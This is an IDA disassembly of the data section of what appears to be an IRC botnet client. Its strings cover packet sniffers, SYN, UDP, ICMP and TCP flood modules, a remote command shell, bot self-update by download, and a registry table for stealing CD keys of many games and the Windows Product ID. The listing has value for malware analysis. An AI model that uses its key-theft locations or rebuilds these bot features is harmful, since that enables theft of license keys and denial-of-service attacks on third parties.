aVulnSniff	db 'VULN sniff',0       ; DATA XREF: sub_4125FB+5o
		align 4
unk_43598C	db  2Dh	; -		; DATA XREF: sub_412660+3ECo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVulnSniffSDToS	db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_4359C4	db  2Dh	; -		; DATA XREF: sub_412660+382o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aHttpSniffSDToS	db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_4359FC	db  2Dh	; -		; DATA XREF: sub_412660+351o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFtpSniffSDToSD	db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_435A30	db  2Dh	; -		; DATA XREF: sub_412660+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aIrcSniffSDToSD	db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_435A64	db  2Dh	; -		; DATA XREF: sub_412660+2E2o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBotSniffSDToSD	db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_435A98	db  2Dh	; -		; DATA XREF: sub_412660+14Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aWsaioctlFailed	db '- WSAIoctl() failed, returned %d',0
		align 4
unk_435AC8	db  2Dh	; -		; DATA XREF: sub_412660+C5o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBindFailedRetu	db '- bind() failed, returned %d',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodA	db 'done with flood at %iKB/sec',0
dword_435B1C	dd 234032Dh, 736F6464h,	202D0302h, 646E6573h, 72726520h
					; DATA XREF: sub_412B08+302o
		dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h
		dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh
		dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h
		dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0
		dd 234032Dh, 706D6369h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h
		dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch
		dd 6E727574h, 25206465h, 64h, 234032Dh,	706D6369h, 202D0302h
		dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh
		dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 706D6369h,	202D0302h, 6B636F73h, 29287465h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 696E6966h, 64656873h
		dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh
		dd 2706475h, 66202D03h,	73696E69h, 20646568h, 646E6573h
		dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh
		dd 2706475h, 65202D03h,	726F7272h, 6E657320h, 676E6964h
		dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h
		dd 3026E79h, 6F44202Dh,	7720656Eh, 20687469h, 6F6F6C66h
		dd 25282064h, 2F424B69h, 29636573h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aDoneWithFloodI	db '- Done with flood (%iKB/sec).',0
		align 4
dword_435D44	dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h
					; DATA XREF: sub_41386B+27Do
		dd 3C203A72h, 2E3E6425h, 0
		dd 234032Dh, 67726174h,	3023361h, 6F44202Dh, 7720656Eh
		dd 20687469h, 6F6F6C66h, 2E64h,	234032Dh, 2706374h, 44202D03h
		dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h
		dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h
		dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h
		dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h
		dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h
		dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h
		dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch
		dd 2Eh,	234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h
		dd 65677261h, 50492074h, 2Eh, 234032Dh,	2706374h, 45202D03h
		dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h
		dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h
		dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah
		dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h
		dd 3A64656Eh, 64253C20h, 2E3Eh,	234032Dh, 6E757374h, 2696D61h
		dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh
		dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 53202D03h
		dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h
		dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h
		dd 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 45202D03h
		dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh
		dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h
		dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h
		dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h
		dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h
		dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 46202D03h
		dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h
		dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h
		dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh
		dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh
		dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h
		dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 49202D03h
		dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh
		dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h
		dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh
		dd 2297064h, 45202D03h,	726F7272h, 6C616320h, 676E696Ch
		dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h
		dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h
		dd 2E642520h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSo	db '- Error calling socket().',0
		align 10h
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodP	db 'Done with flood, ports hit: %s',0
		align 4
aSD		db '%s%d ',0
		align 4
dword_436134	dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA	XREF: sub_415134+35o
dword_436148	dd 234032Dh, 61696C61h,	696C2073h, 3027473h, 2Dh ; DATA	XREF: sub_415134+10o
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4151AC+60o
		align 10h
dword_436180	dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
					; DATA XREF: sub_41524C:loc_415281o
dword_436194	dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
					; DATA XREF: sub_41524C+20o
dword_4361A8	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
					; DATA XREF: ___:00415369o
		dd 6574656Ch, 0
dword_4361C4	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
					; DATA XREF: ___:004152CCo
		dd 676E6974h, 0
aDisplay	db 'DISPLAY',0          ; DATA XREF: sub_4153BC+11o
aWindow		db 'Window',0           ; DATA XREF: sub_4155F7+23o
					; sub_4157F0+26o
		align 10h
		dd 80000001h
off_4361F4	dd offset aSoftwareValveC ; DATA XREF: sub_415A2F+Cr
					; sub_415A2F+21o
					; "Software\\Valve\\CounterStrike\\Settings"
		dd offset aCdkey	; "CDKey"
		dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_436200	dd 2 dup(0)		; DATA XREF: sub_415A2F+26o
		dd 80000001h, 437384h, 437378h,	437368h, 2 dup(0)
		dd 80000001h, 437348h, 437344h,	437330h, 2 dup(0)
		dd 80000001h, 43730Ch, 437344h,	437300h, 2 dup(0)
		dd 80000001h, 4372DCh, 4372D4h,	4372C0h, 2 dup(0)
		dd 80000001h, 4372ACh, 43729Ch,	437280h, 2 dup(0)
		dd 80000001h, 43723Ch, 4373C4h,	437228h, 2 dup(0)
		dd 80000002h, 4371FCh, 4371F0h,	4371D0h, 2 dup(0)
		dd 80000002h, 43719Ch, 4373C4h,	437184h, 2 dup(0)
		dd 80000002h, 437150h, 4373C4h,	437138h, 2 dup(0)
		dd 80000002h, 437120h, 4373C4h,	437108h, 2 dup(0)
		dd 80000002h, 4370CCh, 43D128h,	4370BCh, 2 dup(0)
		dd 80000002h, 437084h, 43D128h,	437070h, 2 dup(0)
		dd 80000002h, 437024h, 43D128h,	437004h, 2 dup(0)
		dd 80000002h, 436FB4h, 43D128h,	436F88h, 2 dup(0)
		dd 80000002h, 436F4Ch, 43D128h,	436F38h, 2 dup(0)
		dd 80000002h, 436F00h, 43D128h,	436EF0h, 2 dup(0)
		dd 80000002h, 436EA0h, 43D128h,	436E74h, 2 dup(0)
		dd 80000002h, 436E34h, 43D128h,	436E18h, 2 dup(0)
		dd 80000002h, 436DE8h, 43D128h,	436DC8h, 2 dup(0)
		dd 80000002h, 436D8Ch, 43D128h,	436D78h, 2 dup(0)
		dd 80000002h, 436D30h, 43D128h,	436D10h, 2 dup(0)
		dd 80000002h, 436CBCh, 43D128h,	436C8Ch, 2 dup(0)
		dd 80000002h, 436C3Ch, 43D128h,	436C10h, 2 dup(0)
		dd 80000002h, 436BD0h, 436BC8h,	436BA8h, 2 dup(0)
		dd 80000002h, 436B64h, 43D128h,	436B48h, 2 dup(0)
		dd 80000002h, 436AFCh, 43D128h,	436AD8h, 2 dup(0)
		dd 80000002h, 436AA4h, 43D128h,	436A98h, 2 dup(0)
		dd 80000002h, 436A64h, 43D128h,	436A58h, 2 dup(0)
		dd 80000002h, 436A24h, 43D128h,	436A18h, 2 dup(0)
		dd 80000002h, 4369E4h, 43D128h,	4369D8h, 2 dup(0)
		dd 80000002h, 43699Ch, 43D128h,	436988h, 2 dup(0)
		dd 80000002h, 43694Ch, 43D128h,	436938h, 2 dup(0)
		dd 80000002h, 436908h, 4373C4h,	4368ECh, 2 dup(0)
		dd 80000002h, 4368CCh, 4368C4h,	4368A0h, 2 dup(0)
		dd 80000002h, 436884h, 4368C4h,	436864h, 2 dup(0)
		dd 80000002h, 436844h, 4368C4h,	436820h, 2 dup(0)
		dd 80000002h, 436808h, 4368C4h,	436804h, 2 dup(0)
		dd 80000002h, 4367E8h, 4367D8h,	4367D0h, 2 dup(0)
		dd 80000002h, 43679Ch, 42C218h,	436784h, 2 dup(0)
		dd 80000002h, 436748h, 43673Ch,	436714h, 436704h, 4366F0h
		dd 80000002h, 4366CCh, 4366C0h,	4366ACh, 43669Ch, 436694h
		dd 80000002h, 4366CCh, 4366C0h,	436668h, 43669Ch, 436660h
		dd 80000002h, 4366CCh, 4366C0h,	436630h, 43669Ch, 436628h
		dd 6 dup(0)
		dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
		dd 64726564h, 296B7261h, 0
		dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
		dd 6469746Eh, 2965h, 3179654Bh,	3Dh, 636E776Eh,	79656B64h
		dd 696E692Eh, 0
aNeverwinterNig	db 'Neverwinter Nights',0
		align 10h
aLocation	db 'Location',0
		align 4
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 10h
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
aBaseMpSof2key	db 'base\mp\sof2key',0
aSoldierOfFortu	db 'Soldier of Fortune II - Double Helix',0
		align 4
aInstallpath	db 'InstallPath',0
		db 53h
aOftwareActivis	db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
		align 4
aHiddenDangerou	db 'Hidden & Dangerous 2',0
		align 4
		db 53h
aOftwareIllusio	db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
		align 10h
aChrome		db 'Chrome',0
		align 4
aSerialnumber	db 'SerialNumber',0
		align 4
		db 53h
aOftwareTechlan	db 'oftware\Techland\Chrome',0
		align 4
		dd offset word_584F4E
aSoftwareWestwo	db 'Software\Westwood\NOX',0
		align 10h
aCommandAndConq	db 'Command and Conquer: Red Alert 2',0
		align 4
		db 53h
aOftwareWestwoo	db 'oftware\Westwood\Red Alert 2',0
		align 4
aCommandAndCo_0	db 'Command and Conquer: Red Alert',0
		align 4
		db 53h
aOftwareWestw_0	db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1	db 'Command and Conquer: Tiberian Sun',0
		align 4
aSerial		db 'Serial',0
		align 4
		db 53h
aOftwareWestw_1	db 'oftware\Westwood\Tiberian Sun',0
		align 4
aRainbowSixIiiR	db 'Rainbow Six III RavenShield',0
		db 53h
aOftwareRedStor	db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
		align 4
aNascarRacing20	db 'Nascar Racing 2003',0
		align 4
		db 53h
aOftwareElectro	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 4
aNascarRacing_0	db 'Nascar Racing 2002',0
		align 4
		db 53h
aOftwareElect_0	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 4
aNhl2003	db 'NHL 2003',0
		align 4
		db 53h
aOftwareElect_1	db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 4
aNhl2002	db 'NHL 2002',0
		align 4
		db 53h
aOftwareElect_2	db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 4
aFifa2003	db 'FIFA 2003',0
		align 4
		db 53h
aOftwareElect_3	db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 4
aFifa2002	db 'FIFA 2002',0
		align 4
		db 53h
aOftwareElect_4	db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 4
aShogunTotalWar	db 'Shogun: Total War: Warlord Edition',0
		align 4
		db 53h
aOftwareElect_5	db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
		db 'on\ergc',0
		align 4
aNeedForSpeedUn	db 'Need For Speed: Underground',0
		db 53h
aOftwareElect_6	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
		align 4
aNeedForSpeedHo	db 'Need For Speed Hot Pursuit 2',0
		align 4
aErgc		db 'ergc',0
		align 10h
		db 53h
aOftwareElect_7	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
		align 10h
aMedalOfHonorAl	db 'Medal of Honor: Allied Assault: Spearhead',0
		align 4
		db 53h
aOftwareElect_8	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
		db 'earhead\ergc',0
		align 4
aMedalOfHonor_0	db 'Medal of Honor: Allied Assault: Breakthrough',0
		align 4
		db 53h
aOftwareElect_9	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
		db 'eakthrough\ergc',0
		align 10h
aMedalOfHonor_1	db 'Medal of Honor: Allied Assault',0
		align 10h
		db 53h
aOftwareElec_10	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
		db 'gc',0
		align 4
aGlobalOperatio	db 'Global Operations',0
		align 4
		db 53h
aOftwareElec_11	db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 4
aCommandAndCo_2	db 'Command and Conquer: Generals',0
		align 4
		db 53h
aOftwareElec_12	db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni	db 'James Bond 007: Nightfire',0
		align 4
		db 53h
aOftwareElec_13	db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3	db 'Command and Conquer: Generals (Zero Hour)',0
		align 10h
		db 53h
aOftwareElec_14	db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
		db 'o Hour\ergc',0
		align 10h
aBlackAndWhite	db 'Black and White',0
		db 53h
aOftwareElec_15	db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 4
aBattlefieldVie	db 'Battlefield Vietnam',0
		db 53h
aOftwareElec_16	db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 4
aBattlefield194	db 'Battlefield 1942 (Secret Weapons of WWII)',0
		align 4
		db 53h
aOftwareElec_17	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
		db 'of WWII\ergc',0
		align 4
aBattlefield1_0	db 'Battlefield 1942 (Road To Rome)',0
		db 53h
aOftwareElec_18	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
		db 'e\ergc',0
		align 10h
aBattlefield1_1	db 'Battlefield 1942',0
		align 4
		db 53h
aOftwareElec_19	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce	db 'Freedom Force',0
		align 4
		db 53h
aOftwareElec_20	db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri	db 'IGI 2: Covert Strike',0
		align 10h
		db 53h
aOftwareIgi2Ret	db 'oftware\IGI 2 Retail',0
		align 4
aUnrealTourname	db 'Unreal Tournament 2004',0
		align 10h
		db 53h
aOftwareUnrealT	db 'oftware\Unreal Technology\Installed Apps\UT2004',0
		align 4
aUnrealTourna_0	db 'Unreal Tournament 2003',0
		align 4
		db 53h
aOftwareUnrea_0	db 'oftware\Unreal Technology\Installed Apps\UT2003',0
		align 10h
aMicrosoftWindo	db 'Microsoft Windows Product ID',0
		align 10h
aProductid	db 'ProductId',0
		align 4
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\Windows\CurrentVersion',0
		align 4
aSoldiersOfAnar	db 'Soldiers Of Anarchy',0
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 10h
aLegendsOfMight	db 'Legends of Might and Magic',0
		align 4
aCustomernumber	db 'CustomerNumber',0
		align 4
aSoftware3d0Sta	db 'Software\3d0\Status',0
aIndustryGiant2	db 'Industry Giant 2',0
		align 4
aPrvkey		db 'prvkey',0
		align 4
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 10h
aHalfLife	db 'Half-Life',0
		align 4
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 10h
aGunmanChronicl	db 'Gunman Chronicles',0
		align 4
aKey_0		db 'Key',0
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 4
aTheGladiators	db 'The Gladiators',0
		align 4
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 4
aCounterStrikeR	db 'Counter-Strike (Retail)',0 ; DATA XREF: ___:004361FCo
aCdkey		db 'CDKey',0            ; DATA XREF: ___:004361F8o
		align 4
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_4361F4o
		align 4
asc_4373F4:				; DATA XREF: sub_415A2F+E9o
					; sub_415A2F+F4o
		unicode	0, <=>,0
dword_4373F8	dd 234032Dh, 656B6463h,	3027379h, 7325202Dh, 7325203Ah
					; DATA XREF: sub_415A2F+2Bo
		dd 0
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSendTo	db '- failed to send to Remote command shell',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenRe	db '- failed to open remote command shell',0
		align 4
unk_437474	db  2Dh	; -		; DATA XREF: ___:00415F17o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenSo	db '- failed to open socket',0
		align 4
dword_437498	dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
					; DATA XREF: ___:0041617Co
					; ___:00416312o
		dd 726F72h
unk_4374B0	db  2Dh	; -		; DATA XREF: ___:00416114o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileSSentToSSB	db '- file %s sent to %s (%s bytes).',0
		align 4
unk_4374DC	db  2Dh	; -		; DATA XREF: ___:0041601Co
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aUnableToOpenSo	db '- unable to open socket',0
		align 10h
dword_437500	dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
					; DATA XREF: ___:00415FE5o
		dd 74756Fh
dword_437518	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: ___:00415F84o
		dd 169h
unk_437530	db  2Dh	; -		; DATA XREF: ___:00415F41o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileDoesnTExis	db '- file doesn',27h,'t exist',0
		align 10h
unk_437550	db  2Dh	; -		; DATA XREF: ___:00415E9Co
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToBindTo	db '- failed to bind to socket',0
unk_437574	db  2Dh	; -		; DATA XREF: ___:00415E5Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToCrea_2	db '- failed to create socket',0
		align 4
unk_437598	db  2Dh	; -		; DATA XREF: ___:0041638Do
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceivedSFromS	db '- received %s from %s (%s bytes).',0
		align 4
unk_4375C4	db  2Dh	; -		; DATA XREF: ___:00416287o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningSo	db '- error opening socket',0
unk_4375E4	db  2Dh	; -		; DATA XREF: ___:00416267o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningFi	db '- error opening file for writing',0
		align 10h
aAB		db 'a+b',0              ; DATA XREF: ___:00416253o
unk_437614	db  2Dh	; -		; DATA XREF: ___:0041623Fo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorUnableToW	db '- error unable to write file to disk',0
		align 4
unk_437644	db  2Dh	; -		; DATA XREF: ___:0041688Co
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aBadUrlOrDnsErr	db 'bad url or dns error at %s.',0
unk_437670	db  2Dh	; -		; DATA XREF: ___:0041687Eo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aUpdateFailedEr	db 'update failed, error executing %s',0
		align 4
unk_4376A4	db  2Dh	; -		; DATA XREF: ___:004167C2o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fk	db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
		align 4
dword_4376E8	dd 234032Dh, 6E776F64h,	64616F6Ch, 202D0302h, 6E65706Fh
					; DATA XREF: ___:00416751o
		dd 25206465h, 73h
unk_437704	db  2Dh	; -		; DATA XREF: ___:004166DAo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fK	db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
		align 4
unk_43773C	db  2Dh	; -		; DATA XREF: ___:0041665Bo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongCrcDD_	db 'wrong crc (%d != %d).',0
		align 4
unk_437764	db  2Dh	; -		; DATA XREF: ___:004165D1o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongFilesizeD	db 'wrong filesize (%d != %d).',0
		align 10h
unk_437790	db  2Dh	; -		; DATA XREF: ___:0041658Eo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aGotUpdateSDkb_	db 'got update %s (%dKB).',0
		align 4
unk_4377B8	db  2Dh	; -		; DATA XREF: ___:0041657Co
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadedSDkb	db 'downloaded %s (%dKB)',0
		align 10h
unk_4377E0	db  2Dh	; -		; DATA XREF: ___:00416470o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aCouldnTOpenF_0	db 'couldn',27h,'t open file: %s',0
		align 4
aUnknown	db 'Unknown',0          ; DATA XREF: sub_4169A1:loc_4169E4o
					; sub_418EF6+10Ao
aInvalid	db 'Invalid',0          ; DATA XREF: sub_4169A1:loc_4169DEo
aDisk		db 'Disk',0             ; DATA XREF: sub_4169A1:loc_4169D8o
		align 10h
aNetwork	db 'Network',0          ; DATA XREF: sub_4169A1:loc_4169D2o
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_4169A1:loc_4169CCo
		align 10h
off_437830	dd offset word_4D4152	; DATA XREF: sub_4169A1:loc_4169C6o
word_437834	dw 3Fh			; DATA XREF: sub_4169A1+1Fo
					; sub_41AA42:loc_41AB44r
		align 4
aFailed		db 'failed',0           ; DATA XREF: sub_416A32:loc_416B10o
					; sub_416B56+3Bo
		align 10h
aSkb		db '%sKB',0             ; DATA XREF: sub_416A32+6Co
		align 4
unk_437848	db  2Dh	; -		; DATA XREF: sub_416B56+8Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSSTotalS	db '%s drive (%s): %s total, %s free, %s available',0
		align 4
unk_437884	db  2Dh	; -		; DATA XREF: sub_416B56+58o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSFailedT	db '%s drive (%s): failed to stat, device not ready',0
aA_1		db 'A:\',0              ; DATA XREF: sub_416C28:loc_416C6Do
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
		db  66h	; f
		db 6Fh,	75h, 6Eh
		db  64h	; d
		db 20h,	25h, 64h
		db  20h
aFiles		db 'files',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingFor_0	db 'searching for file %s',0
		align 4
		dd 234032Dh, 646E6966h,	656C6966h, 202D0302h, 6E756F66h
		dd 73252064h, 73255Ch, 2A5C7325h, 0
unk_437930	db  2Dh	; -		; DATA XREF: sub_416F1A:loc_417093o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToEnable	db 'failed to enable debug privilege',0
		align 4
